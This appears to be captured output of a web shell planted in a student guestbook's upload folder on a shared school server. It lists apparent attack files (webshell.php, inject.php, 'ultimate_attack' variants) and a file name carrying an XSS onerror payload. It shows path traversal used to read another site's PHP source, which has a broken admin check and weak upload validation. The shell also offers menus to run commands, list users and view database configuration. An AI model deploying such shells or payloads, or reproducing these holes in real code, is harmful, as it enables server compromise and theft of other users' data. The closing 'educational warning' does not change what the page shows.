🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../584311.klas4s23.mid-ica.nl/public_html/fde/includes/ProductEditHandler.php

<?php
include "../extra/dbh.php";
include "../model/product.php";
// stel onze link is ...../?userId=1

session_start();
// check of je bent ingelogd als admin
if (!isset($_SESSION['userId']) && $_SESSION['adminstatus'] !== 1) {
    header("Location: login.php");
    exit();
}

// maak database connectie aan
$db = new Dbh();
$pdo = $db->Connect();

// check of het een post request is
if ($_SERVER['REQUEST_METHOD'] != 'POST') {
    // dit mag niet
    header("Location: admin-producten.php");
} else {

    // haal huidige product op.
    $productId = $_POST["productId"]; 
    // haal de data uit de post
    $name = $_POST["name"];
    $description = $_POST["description"];

    // bestaat er al een huidig plaatje?
    if(isset($_POST["currentImage"])){
        $image = $_POST["currentImage"];
    } else {
        $image = null;
    }
    // $images = $_POST['image'];
    $price = $_POST["price"];
    $category_id = $_POST["category_id"];
    $newImage = $_FILES['fileToUpload'];

    // check of er een nieuwe image is geupload
    if ($newImage['size'] > 0) {
        // er is een nieuwe image geupload
        // checken of de image naam hetzelfde is.
        if ($newImage['name'] !== $image) {
            // upload een nieuwe image.
            if (uploadImage()) {
                $image = $newImage['name'];
            }

        }
    }

    try {
    // haal de data uit de database
    $sql = $pdo->prepare("UPDATE product SET name = :name, description = :description, price = :price, image = :image, category_id = :category_id WHERE id = :id");      
    
    $sql->bindParam(":name", $name);
    $sql->bindParam(":description", $description);
    $sql->bindParam(":price", $price);
    $sql->bindParam(":image", $image);
    $sql->bindParam(":category_id", $category_id);
    $sql->bindParam(":id", $productId);

    $sql->execute();

    $rowCount = $sql->rowCount();
    

    // if ($rowCount > 0) {
    //     echo 'gelukt';
    // } else {
    //     echo 'niet gelukt';
    // } 
}catch (PDOException $e) {
        echo $e->getMessage();
    }
}
     header("Location: ../admin-producten.php");

if (isset($_POST['delete'])) {
  // product deleten
  $productId = $_POST['productId'];
  $productInfo = Product::GetProductInfo($pdo, $productId);
  $temp = $productInfo->ProductToAssocArray();
  $sql = $pdo->prepare("DELETE FROM product WHERE id = :id");
  $sql->bindParam(":id", $productId);
  $sql->execute();
  $rowCount = $sql->rowCount();
  if ($rowCount > 0) {
      header("Location: ../admin-producten.php");
  } else {
      //header("Location: ../admin-productAdd.php?error=AAAAAAAAA went wrong, please try again later");
  }
}

function uploadImage(){
$target_dir =  '../img/';
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
  $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
  if($check !== false) {
    echo "File is an image - " . $check["mime"] . ".";
    $uploadOk = 1;
  } else {
    echo "File is not an image.";
    $uploadOk = 0;
  }

// Check if file already exists
if (file_exists($target_file)) {
    return true;
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 1500000) {
  echo "Sorry, your file is too large.";
  $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
  echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
  $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
  echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    return true;
  } else {
    echo "Sorry, there was an error uploading your file.";
  }
}
return false;
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!